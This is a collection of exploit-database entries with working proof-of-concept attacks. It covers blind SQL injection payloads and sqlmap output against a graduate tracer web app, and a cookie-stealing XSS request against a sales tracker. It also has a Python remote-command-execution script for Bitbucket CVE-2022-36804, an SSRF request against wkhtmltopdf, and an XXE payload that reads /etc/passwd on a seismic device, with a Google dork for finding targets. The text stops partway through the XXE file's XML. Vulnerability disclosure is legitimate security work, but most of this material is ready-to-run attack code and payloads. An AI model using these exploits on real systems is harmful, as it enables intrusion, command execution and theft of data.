<pre><code># Exploit Title: Online Graduate Tracer System - Multiple SQLi<br /># Date: 24/03/2023<br /># Exploit Author: Abdulhakim Öner<br /># Vendor Homepage: https://www.sourcecodester.com<br /># Software Link: https://www.sourcecodester.com/php/15904/online-graduate-tracer-system-college-ict-alumni.html<br /># Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/tracking.zip<br /># Version: 1.0<br /># Tested on: Windows, Linux<br /><br />## Description <br />A Blind SQL injection vulnerability in the fill-in forms of Online Graduate Tracer System allows remote unauthenticated attackers to execute remote arbitrary SQL commands through "age" parameter. <br /><br />## Request PoC<br />```<br />POST /tracking/ HTTP/1.1<br />Host: 192.168.1.100<br />Accept-Encoding: gzip, deflate<br />Accept: */*<br />Accept-Language: en-US;q=0.9,en;q=0.8<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36<br />Connection: close<br />Cache-Control: max-age=0<br />Referer: http://192.168.1.100/tracking/<br />Content-Type: application/x-www-form-urlencoded<br />Content-Length: 666<br /><br />fullname=TKeljbcD&age=24'&sex=&dob=11%2f11%2f1992&cs=&religion=&street=518287&barangay=933877&municipal=149726&province=293419&region=&zipcode=21788&country=767093&course=&batch=&facebook=329348&twitter=488487&phonenumber=197-436-9799&email=dKYxqIen@burpcollaborator.net&estatus=Employed&organization=&profession=503409&type=Working+Fulltime&location=local&location=abroad&status=Permanent&status=Contractual&status=Casual&status=Others&number=1-5+yrs&income=359935&relate=Yes&sreason=621051&nature=792251&company=597673&num=0-5+yrs&num=6-10+yrs&num=10-15+yrs&num=16+yrs+above&mincome=325978&reason=992014&consider=Yes&submit=<br /><br />```<br /><br />This request causes a Fatal error. Adding "'%2b(select*from(select(sleep(10)))a)%2b'" to the end of "age" parameter, the response to request was 200 status code with message of OK, but 20 seconds later, which indicates that our sleep 10 command works. <br /><br />```<br />POST /tracking/ HTTP/1.1<br />Host: 192.168.1.100<br />Accept-Encoding: gzip, deflate<br />Accept: */*<br />Accept-Language: en-US;q=0.9,en;q=0.8<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36<br />Connection: close<br />Cache-Control: max-age=0<br />Referer: http://192.168.1.100/tracking/<br />Content-Type: application/x-www-form-urlencoded<br />Content-Length: 666<br /><br />fullname=TKeljbcD&age=24'%2b(select*from(select(sleep(10)))a)%2b'&sex=&dob=11%2f11%2f1992&cs=&religion=&street=518287&barangay=933877&municipal=149726&province=293419&region=&zipcode=21788&country=767093&course=&batch=&facebook=329348&twitter=488487&phonenumber=197-436-9799&email=dKYxqIen@burpcollaborator.net&estatus=Employed&organization=&profession=503409&type=Working+Fulltime&location=local&location=abroad&status=Permanent&status=Contractual&status=Casual&status=Others&number=1-5+yrs&income=359935&relate=Yes&sreason=621051&nature=792251&company=597673&num=0-5+yrs&num=6-10+yrs&num=10-15+yrs&num=16+yrs+above&mincome=325978&reason=992014&consider=Yes&submit=<br /><br />```<br /><br />## Exploit with sqlmap<br />Save the request from burp to file <br />```<br />┌──(root㉿caesar)-[/home/kali/Workstation/sts]<br />└─# sqlmap -r sqli.txt -p 'age' --batch --dbs --level=3 --risk=2<br />---snip---<br />[01:53:49] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'<br />POST parameter 'age' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N<br />sqlmap identified the following injection point(s) with a total of 630 HTTP(s) requests:<br />---<br />Parameter: age (POST)<br /> Type: boolean-based blind<br /> Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause<br /> Payload: fullname=TKeljbcD&age=24' RLIKE (SELECT (CASE WHEN (6534=6534) THEN 24 ELSE 0x28 END)) AND 'ATRa'='ATRa&sex=&dob=11/11/1992&cs=&religion=&street=518287&barangay=933877&municipal=149726&province=293419&region=&zipcode=21788&country=767093&course=&batch=&facebook=329348&twitter=488487&phonenumber=197-436-9799&email=dKYxqIen@burpcollaborator.net&estatus=Employed&organization=&profession=503409&type=Working Fulltime&location=local&location=abroad&status=Permanent&status=Contractual&status=Casual&status=Others&number=1-5 yrs&income=359935&relate=Yes&sreason=621051&nature=792251&company=597673&num=0-5 yrs&num=6-10 yrs&num=10-15 yrs&num=16 yrs above&mincome=325978&reason=992014&consider=Yes&submit=<br /><br /> Type: error-based<br /> Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)<br /> Payload: fullname=TKeljbcD&age=24' AND (SELECT 9933 FROM(SELECT COUNT(*),CONCAT(0x7170716271,(SELECT (ELT(9933=9933,1))),0x7178767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'PwMK'='PwMK&sex=&dob=11/11/1992&cs=&religion=&street=518287&barangay=933877&municipal=149726&province=293419&region=&zipcode=21788&country=767093&course=&batch=&facebook=329348&twitter=488487&phonenumber=197-436-9799&email=dKYxqIen@burpcollaborator.net&estatus=Employed&organization=&profession=503409&type=Working Fulltime&location=local&location=abroad&status=Permanent&status=Contractual&status=Casual&status=Others&number=1-5 yrs&income=359935&relate=Yes&sreason=621051&nature=792251&company=597673&num=0-5 yrs&num=6-10 yrs&num=10-15 yrs&num=16 yrs above&mincome=325978&reason=992014&consider=Yes&submit=<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: fullname=TKeljbcD&age=24' AND (SELECT 7274 FROM (SELECT(SLEEP(5)))gxIn) AND 'maqj'='maqj&sex=&dob=11/11/1992&cs=&religion=&street=518287&barangay=933877&municipal=149726&province=293419&region=&zipcode=21788&country=767093&course=&batch=&facebook=329348&twitter=488487&phonenumber=197-436-9799&email=dKYxqIen@burpcollaborator.net&estatus=Employed&organization=&profession=503409&type=Working Fulltime&location=local&location=abroad&status=Permanent&status=Contractual&status=Casual&status=Others&number=1-5 yrs&income=359935&relate=Yes&sreason=621051&nature=792251&company=597673&num=0-5 yrs&num=6-10 yrs&num=10-15 yrs&num=16 yrs above&mincome=325978&reason=992014&consider=Yes&submit=<br />---<br />[01:53:50] [INFO] the back-end DBMS is MySQL<br />web application technology: PHP 8.2.0, Apache 2.4.54<br />back-end DBMS: MySQL >= 5.0 (MariaDB fork)<br />---snip---<br /><br />```<br /><br />## The "barangay", "batch", "company", "country", "course", "cs", "dob", "email", "estatus", "facebook", "fullname", "income", "location", "mincome", "municipal", "nature", "number", "organization", "phonenumber", "profession", "province", "region", "relate", "religion", "sex", "sreason", "status", "street", "twitter", "type" and "zipcode" parameters in the POST requests are also vulnerable. They can be exploited in the same way.<br /></code></pre>
<pre><code># Exploit Title: Sales Tracker Management System - Cross Site Scripting Vulnerability (Authenticated)<br /># Date: 23/03/2023<br /># Exploit Author: Abdulhakim Öner<br /># Vendor Homepage: https://www.sourcecodester.com<br /># Software Link: https://www.sourcecodester.com/php/16061/sales-tracker-management-system-using-php-free-source-code.html<br /># Software Download: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-sts_0.zip<br /># Version: 1.0<br /># Tested on: Windows, Linux<br /><br />## Description <br />A reflected Cross Site Scripting vulnerability in the "page" parameter in Sales Tracker Management System allows remote authenticated users to execute JavaScript code. <br /><br />## Request PoC<br />```<br />GET /php-sts/admin/?page=clients'%3balert(document.cookie)%2f%2f HTTP/1.1<br />Host: 192.168.1.100<br />Accept-Encoding: gzip, deflate<br />Accept: */*<br />Accept-Language: en-US;q=0.9,en;q=0.8<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36<br />Connection: close<br />Cache-Control: max-age=0<br />Referer: http://192.168.1.100/php-sts/admin/<br />Cookie: PHPSESSID=n0brm8te79kaf0nvf7d1hvs6rm<br /><br />```<br /></code></pre>
<pre><code># Exploit Title: Bitbucket v7.0.0 - RCE<br /># Date: 09-23-2022<br /># Exploit Author: khal4n1<br /># Vendor Homepage: https://github.com/khal4n1<br /># Tested on: Kali and ubuntu LTS 22.04<br /># CVE : cve-2022-36804<br /><br />#****************************************************************#<br />#The following exploit is used to exploit a vulnerability present<br />#Atlassian Bitbucket Server and Data Center 7.0.0 before version<br />#7.6.17, from version 7.7.0 before version 7.17.10, from version<br />#7.18.0 before version 7.21.4, from version 8.0.0 before version<br />#8.0.3, from version 8.1.0 before version 8.1.3, and from version<br />#8.2.0 before version 8.2.2, and from version 8.3.0 before 8.3.1<br /><br />#Usage Example<br /><br /># python3 mexploit.py --url http://127.0.0.1:7990 --cmd 'cat /etc/passwd'<br /><br /># python3 mexploit.py --url http://127.0.0.1:7990 --cmd 'id'<br /><br />#The server will send a 500 http response with the stout output from the<br /># command executed.<br /><br /><br />#****************************************************************#<br /><br />#!/usr/bin/python3<br /><br />import argparse<br />import urllib<br />from urllib import request<br />import re<br /><br />#argument setup<br />parser = argparse.ArgumentParser(description='Program to test<br />bitbucket vulnerability CVE-2022-36804')<br />parser.add_argument("--url", help="Set the target to attack.<br />[REQUIRED]", required=True )<br />parser.add_argument("--cmd", help="Set the command to execute.<br />[DEFAULT ID]", required=True, default='id')<br />args = parser.parse_args()<br />cmd= urllib.parse.quote(args.cmd)<br /><br /><br />#reads from the public repository what is available<br />requ = request.urlopen(args.url+ "/repos?visibility=public")<br />response = requ.read()<br /><br />#select a public project and stores it in a variable<br />project = re.findall('7990/projects/(.*)/repos/',<br />str(re.findall('7990/projects/(.*)/repos/', str(response))[-1]))[-1]<br /><br />#Selects a public repo and stores it in a vatiable<br />file = re.findall('/repos/(.*)/browse',<br />str(re.findall('7990/projects/(.*)/repos/', str(response))[-1]))[0]<br /><br /># Exploitation<br />try :<br /> attack = request.urlopen(args.url +<br />"/rest/api/latest/projects/" + project + "/repos/" + file +<br />"/archive?prefix=ax%00--exec=%60"+cmd+"%60%00--remote=origin")<br /> print (attack.response())<br />except urllib.error.HTTPError as e:<br /> body = e.read().decode() # Read the body of the error response<br /> print (body)<br /><br /></code></pre>
<pre><code># Exploit Title: wkhtmltopdf 0.12.6 - Server Side Request Forgery<br /># Date: 20/8/2022<br /># Exploit Author: Momen Eldawakhly (Cyber Guy)<br /># Vendor Homepage: https://wkhtmltopdf.org<br /># Software Link: https://wkhtmltopdf.org/downloads.html<br /># Version: 0.12.6<br /># Tested on: Windows ASP.NET <http://asp.net/><br /><br />POST /PDF/FromHTML HTTP/1.1<br />Host: vulnerable.com<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Content-Type: application/x-www-form-urlencoded<br />Content-Length: <length><br />Dnt: 1<br />Upgrade-Insecure-Requests: 1<br />Sec-Fetch-Dest: document<br />Sec-Fetch-Mode: navigate<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-User: ?1<br />Te: trailers<br />Connection: close<br /><br />__RequestVerificationToken=Token&header=<PDFstructure+>....&data= <PDFstructure+>....<iframe+src=“http://10.10.10.1”><br /> <br /></code></pre>
<pre><code># Exploit Title: MAN-EAM-0003 V3.2.4 - XXE<br /># Date: 2022-09-19<br /># Exploit Author: Ahmed Alroky<br /># Author: http://guralp.com/<br /># Version: 3.2.4<br /># Authentication Required: NO<br /># CVE : CVE-2022-38840<br /># Google dork: " webconfig menu.cgi "<br /># Tested on: Windows<br /><br /><br /># Exploit<br /><br />1 - browse to http://<Host<http://%3cHost> name>/cgi-bin/xmlstatus.cgi<br />2 - click on "View saved XML snapshot" and upload XML exploit file or paste the exploit code and submit the form<br />3 - you will get /etc/passwd file content<br /><br />#XML exploit code<br /><br />```<br /><?xml version='1.0'?><br /><!DOCTYPE replace [<!ENTITY example SYSTEM "file:///etc/passwd"> ]><br /><xml-status xmlns='http://www.guralp.com/platinum/xmlns/xmlstatus/1.1'><br /><module status='-1' display-primary='true' path='das' title='Data acquisition'><br /><reading status='100' display-primary='false' path='is_faulty'<br /> title='Fault condition'>false</reading><br /><reading status='-1' display-primary='false' path='dsp_tag'<br /> title='DSP code tag'>platinum</reading><br /><reading status='-1' display-primary='false' path='dsp_version'<br /> title='DSP code version'>102</reading><br /><reading status='100' display-primary='true' path='dsp_state'<br /> title='Acquisition hardware module'>running</reading><br /><reading status='-1' display-primary='true' path='reference_clock'<br /> title='Reference clock type'>GPS</reading><br /><reading status='100' display-primary='false' path='clock_controller'<br /> title='ADC clock controller state'>FLL</reading><br /><reading status='-1' display-primary='false' path='clock_control_val'<br /> title='ADC clock controller value'>46196</reading><br /><reading status='100' display-primary='true' path='clock_locked'<br /> title='ADC clock locked'>true</reading><br /><reading status='-1' display-primary='true' path='clock_last_locked'<br /> title='ADC clock last locked at'>2022-06-14T11:26:53Z</reading><br /><reading status='100' display-primary='true' path='clock_phase_error' units='s'<br /> title='ADC clock phase error'>6.1e-08</reading><br /></module><br /><module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.0' title='Sensor A'><br /><reading status='100' display-primary='true' path='state'<br /> title='Current state'>running</reading><br /><reading status='-1' display-primary='true' path='last_action_time'<br /> title='Last action timestamp'>never</reading><br /><reading status='-1' display-primary='true' path='last_action'<br /> title='Last action'></reading><br /><reading status='96' display-primary='true' path='mass_Z'<br /> title='Z mass position'>4.6%</reading><br /><reading status='100' display-primary='true' path='mass_N'<br /> title='N mass position'>-0.3%</reading><br /><reading status='100' display-primary='true' path='mass_E'<br /> title='E mass position'>-0.3%</reading><br /></module><br /><module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.1' title='Sensor B'><br /><reading status='100' display-primary='true' path='state'<br /> title='Current state'>running</reading><br /><reading status='-1' display-primary='true' path='last_action_time'<br /> title='Last action timestamp'>never</reading><br /><reading status='-1' display-primary='true' path='last_action'<br /> title='Last action'></reading><br /></module><br /><module status='-1' display-primary='true' path='das-in.sensor.DONB..TM.X' title='Auxiliary'><br /><reading status='100' display-primary='true' path='state'<br /> title='Current state'>running</reading><br /><reading status='-1' display-primary='true' path='last_action_time'<br /> title='Last action timestamp'>never</reading><br /><reading status='-1' display-primary='true' path='last_action'<br /> title='Last action'></reading><br /></module><br /><module status='-1' display-primary='true' path='gcf-out-scream.default' title='Scream server (GCF network sender)'><br /><reading status='100' display-primary='true' path='total_blocks'<br /> title='Total number of blocks sent'>11374055</reading><br /><reading status='100' display-primary='true' path='last5_blocks'<br /> title='Number of blocks sent in last 5 minutes'>331</reading><br /><reading status='-1' display-primary='false' path='port_number'<br /> title='Port listening on'>1567</reading><br /><reading status='-1' display-primary='true' path='num_clients'<br /> title='Number of clients connected'>0</reading><br /><list status='-1' display-primary='true' path='clients' title='Clients'><br /></list><br /></module><br /><module status='-1' display-primary='false' path='gdi-base.default' title='Default data transport daemon'><br /><reading status='100' display-primary='true' path='num_channels'<br /> title='Number of channels'>16</reading><br /><reading status='100' display-primary='true' path='num_clients'<br /> title='Number of connected clients'>5</reading><br /><reading status='100' display-primary='true' path='num_samples'<br /> title='Number of samples received'>7338920142</reading><br /><reading status='100' display-primary='true' path='last5_samples'<br /> title='Number of samples in last 5 minutes'>213600</reading><br /><list status='-1' display-primary='false' path='clients' title='Clients'><br /><list-item status='-1' display-primary='false' path='44B02216' title='Client #1'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Client name'>gdi2gcf[default]</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='1CC104A5' title='Client #2'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Client name'>gdi-link-tx[default]</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='9D9E4553' title='Client #3'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Client name'>gdi2miniseed[default]</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='4B1427EC' title='Client #4'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Client name'>das-in</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='412FD3EB' title='Client #5'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Client name'>das-in-textstatus</reading><br /></list-item><br /></list><br /><list status='-1' display-primary='false' path='channels' title='Channels'><br /><list-item status='-1' display-primary='false' path='38B5E770' title='Channel #1'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.HHZ.TM.00</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='7B77F21B' title='Channel #2'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.HHN.TM.00</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='B55019F4' title='Channel #3'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.HHE.TM.00</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='35ED217B' title='Channel #4'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.HDF.TM.X0</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='8062D6AB' title='Channel #5'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.HNZ.TM.10</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='2099C9F1' title='Channel #6'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.HNN.TM.10</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='DE833721' title='Channel #7'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.HNE.TM.10</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='5510ED44' title='Channel #8'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.MMZ.TM.00</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='ACFA260E' title='Channel #9'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.MMN.TM.00</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='5BED382E' title='Channel #10'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.MME.TM.00</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='67453FF7' title='Channel #11'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.SOH.TM.0</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='1D34DF0D' title='Channel #12'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB-AIB</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='A11AEDBA' title='Channel #13'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.SOH.TM.1</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='2DBCFF6E' title='Channel #14'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB-BIB</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path='9D7CDB17' title='Channel #15'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB.SOH.TM.X</reading><br /></list-item><br /><list-item status='-1' display-primary='false' path=' 8A3C070' title='Channel #16'><br /><reading status='-1' display-primary='false' path='name'<br /> title='Channel name'>DONB-XIB</reading><br /></list-item><br /></list><br /></module><br /><module status='-1' display-primary='true' path='gdi-link-tx.default' title='System gdi-link transmitter'><br /><reading status='100' display-primary='true' path='total_bytes_sent' units='bytes'<br /> title='Total number of bytes sent'>11273973132</reading><br /><reading status='100' display-primary='true' path='last5_bytes_sent'<br /> title='Number of bytes sent in last 5 minutes'>325518</reading><br /><reading status='100' display-primary='true' path='tx_rate'<br /> title='Transmit rate over last 5 minutes'>1085.06</reading><br /><reading status='-1' display-primary='false' path='port_number'<br /> title='Port listening on'>1565</reading><br /><reading status='100' display-primary='true' path='num_clients'<br /> title='Number of clients'>0</reading><br /><list status='-1' display-primary='true' path='clients' title='Clients'><br /></list><br /></module><br /><module status='-1' display-primary='true' path='gdi2gcf.default' title='GCF compressor. Default instance'><br /><reading status='100' display-primary='true' path='num_samples_in'<br /> title='Total number of samples in'>7439096490</reading><br /><reading status='100' display-primary='true' path='last5_samples_in'<br /> title='Number of samples in in last 5 minutes'>216516</reading><br /><reading status='100' display-primary='true' path='num_blocks_out'<br /> title='Total number of blocks out'>11374055</reading><br /><reading status='100' display-primary='true' path='last5_blocks_out'<br /> title='Number of blocks out in last 5 minutes'>331</reading><br /><list status='-1' display-primary='false' path='channels' title='Channels'><br /><list-item status='-1' display-primary='true' path='10D33176' title='DONB.HHZ.TM.00'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>100</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-AZ0</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'>2022-06-14T11:26:46.000000000Z</reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'>1</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='39355EAD' title='DONB.HHN.TM.00'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>100</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-AN0</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'>2022-06-14T11:26:46.000000000Z</reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'>1</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path=' 380425E' title='DONB.HHE.TM.00'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>100</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-AE0</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'>2022-06-14T11:26:45.000000000Z</reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'>1</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='E6EAF8A3' title='DONB.HDF.TM.X0'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>100</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-XX0</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'>2022-06-14T11:26:35.000000000Z</reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'>1</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='45B1141C' title='DONB.HNZ.TM.10'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>100</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-BZ0</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'>2022-06-14T11:26:48.000000000Z</reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'>1</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path=' 9951403' title='DONB.HNN.TM.10'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>100</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-BN0</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'>2022-06-14T11:26:42.000000000Z</reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'>1</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='3B38B4CE' title='DONB.HNE.TM.10'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>100</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-BE0</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'>2022-06-14T11:26:40.000000000Z</reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'>1</reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='3E12CA7F' title='DONB.MMZ.TM.00'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>4</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-AM8</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'>2022-06-14T11:24:48.000000000Z</reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'></reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='F194038D' title='DONB.MMN.TM.00'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>4</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-AM9</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'>2022-06-14T11:23:47.000000000Z</reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'></reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='80F951F3' title='DONB.MME.TM.00'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>4</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-AMA</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'>2022-06-14T11:23:57.000000000Z</reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'></reading><br /></list-item><br /><list-item status='-1' display-primary='true' path=' DCFFBA' title='DONB.SOH.TM.0'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>nan</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-A00</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'></reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'></reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='F2D860DE' title='DONB-AIB'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>nan</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-AIB</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'></reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'></reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='8B4D513B' title='DONB.SOH.TM.1'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>nan</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-B00</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'></reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser type'>CMG-DAS</reading><br /><reading status='-1' display-primary='false' path='ttl'<br /> title='GCF tap table lookup'>0</reading><br /><reading status='-1' display-primary='false' path='pga'<br /> title='GCF variable gain'></reading><br /></list-item><br /><list-item status='-1' display-primary='true' path='5CC9B084' title='DONB-BIB'><br /><reading status='-1' display-primary='true' path='sample_rate' units='Hz'<br /> title='Sample rate'>nan</reading><br /><reading status='-1' display-primary='true' path='gcf_name'<br /> title='GCF name'>DONB-BIB</reading><br /><reading status='-1' display-primary='true' path='last_block'<br /> title='Last block timestamp'></reading><br /><reading status='-1' display-primary='false' path='digitiser_type'<br /> title='GCF digitiser 